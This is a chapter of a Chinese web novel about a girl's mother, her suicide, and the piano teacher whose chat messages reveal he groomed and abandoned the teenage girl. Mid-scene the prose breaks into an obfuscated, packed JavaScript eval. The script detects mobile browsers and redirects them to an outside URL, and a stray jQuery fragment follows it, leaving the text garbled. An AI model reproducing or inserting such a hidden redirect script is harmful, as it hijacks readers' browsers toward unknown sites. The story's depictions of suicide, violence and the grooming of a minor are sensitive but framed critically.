楼雪的母亲陈梨于最近在家中自杀。
前些年我远远在一家杀鱼店前见过她，她比我想象中过得要滋润。2016年那件事发生后，陈梨辞去清洁工的工作，开了一家杀鱼店。当年有邻居问她，她女儿去哪了。
陈梨说，楼雪辍学打工去了。
可惜陈梨没活到现在，不然那个谎言被戳穿的时候，她会成为第一嫌疑人。
我在此回忆她，是为我所说的故事添上最重要的一笔。
陈梨年轻时做着夜总会卖酒的工作，跟一名保镖在夜总会相识，然后相爱双双从良，辞去工作，在一个城中村的房子里有了楼雪。
夫妻俩都是从泥淖中向上爬的人，孩子的到来给他们的生活带来希望。
好景不长，希望往往是绝望来临的前奏。
事情发生在一九九八年，医疗环境并不完善，陈梨难产，救护车难以开到城中村来。就是在那个冰冷的冬日黄昏，楼雪父亲背着陈梨从巷子中朝城中村外的警笛声奔去，他以为那停着的是救护车，却撞上了警方正在追捕的一名逃犯。
楼雪父亲为保护妻儿，身中数刀，当场失血过多而死。当救护车来时，救护人员听到婴儿的哭声，从狭窄的建筑缝隙间钻进去。看到长满青苔的水泥路上流了满地血，男人睁着眼睛已经死去，另一个女人被淋了满身血，面色惨白，双手捂住小腹，无力倒在血河，嘴唇翕动，发出微弱的声音。
“救救……我……我的……孩子……”
引来救护人员的哭声就来自地上那个婴儿，与母体的脐带都还没剪断，浑身光溜溜，睁着水润的眼珠。那就是楼雪，一出生就没了父亲的孩子。
吴清明当时还只是实习女警，跟着前辈一起追捕逃犯，却不想嫌犯逃亡途中会杀了一个家庭的顶梁柱，最后选择自焚。新闻播报时，所有人都只看到了罪犯穷途末路自焚而死，没看到他毁了一个幸福家庭，使这个家庭会在未来堕入深渊。
后来吴清明跟我讲起这件事时，严厉地警告了我，不要对罪犯有任何期待，凡是能够杀人的罪犯已经不把人当人看，他们眼中人只是最下等的猪猡。
楼雪的家庭没了父亲，陈梨重新做回夜总会卖酒女的工作，为了给孩子赚奶粉钱。时间一久，邻里之间多了不少闲言碎语。而陈梨这碗青春饭也没能吃多久，就被新来的年轻女孩给替代了。
陈梨只有小学学历，能做的工作只有脏累还钱少的活。就在二零零三年时，她成为了海城高中的清洁工，在一个明亮的下午，陈梨悄悄带楼雪来了艺术高中玩，怕孩子被学生们发现，她先是把楼雪藏在音乐教室的杂物室中。当她忙完扫女厕的工作，急匆匆去音乐教室找孩子时，听到一阵美妙的琴音，接着她看到了一个男人带着她的孩子坐在琴凳上，那旋律正是从年幼的楼雪手中弹出。
陈梨感动得跌坐痛哭。或许她在想，要是她的孩子生在一个富有的家庭，就能像这所高中的学生们一样学习艺术，成为艺术家，而不是她这样有着肮脏过去的无用之人。
正是陈飞对她说，他欣赏楼雪的天赋，认为她未来一定能成为陈梨希望的人。
从那天起，楼雪开始学习钢琴。
确实如陈飞所说，女儿在音乐上展现了超脱的天赋，让陈梨很欣慰。
楼雪开始学钢琴不久后，陈飞送来一架他不用的旧钢琴，令陈梨更是受宠若惊。
沉醉在名利的美梦中，陈梨看不到女儿脸上的不安。
直到很久以后，我带着林月的日记本找到了陈梨，望着客厅仍然摆放的旧钢琴，门口的红地毯，落地架上挂着的昂贵礼服，一边还原曾经这个家与陈飞的渊源，一边观察陈梨的反应。
女人已经苍老，提起楼雪时，她云淡风轻得仿佛楼雪是个陌生人。
然后我从口袋拿出一部老旧的手机，点进名字为“陈老师”的联系人，将聊天记录给陈梨看，她蓦然喘不过来气，从我手里抢走手机摔到地上。
“不可能！
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498801|170221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她尖叫着踩碎手机屏幕，自言自语，状若疯魔，甚至找来打火机准备烧了手机。
我静静地望着她，只见陈梨按动打火机后，颓然地捂住脸跌坐在地，打火机的火焰瞬灭，手机掉在地板。
我这才弯腰去捡手机。
屏幕碎了，上面的聊天记录依然清晰。
「陈老师，求您不要放弃我」
「陈老师，我愿意去」
——楼雪
「这才对呀，小雪，老师都是为了你好。你想拿奖，老师都可以给你打点好，只要你去努力一点点。」
——陈飞
「陈老师，您在哪？不是说只是带我认识其他老师吗？为什么要把我一个人留在这里」
「陈老师」
「老师，不要这么对我，老师」
「老师，我们在一起这么久，您不能这样抛弃我，老师……我真的很痛苦」
「老师……是因为我已经不是小孩子，您才不要我了吗」
——楼雪
再往前翻聊天记录，可以看到陈飞每次出差都会给楼雪分享生活，譬如当地的旅游景区照、陈飞的自拍照和他寄给楼雪的明信片。聊天记录任谁都会觉得这是一对热恋中的情侣。
那么这段感情从何时起？从谁先开始？为什么结束？
这些问题的答案，陈梨一点都不清楚吗？
我记得跟林月偶遇的那趟地铁上，当时我在拍摄楼雪，林月在我对面，梁一一和她的朋友们在我旁边。而那时，就在那节车厢的门后，有个戴着口罩的中年女人正注视着我们。
我感觉到一股冰冷视线，看过去时，只望见她转身的背影。
但我不会忘记那双残酷的眼睛，复杂的情绪流动其中，甚至酝酿着一股杀意。
后来，艺术楼出事，楼雪消失，我作为同学拜访她家时，看着忙碌的陈梨，不禁用手遮住她除了眼睛之外的五官，与我在地铁上看到的那双眼睛像两张照片重合。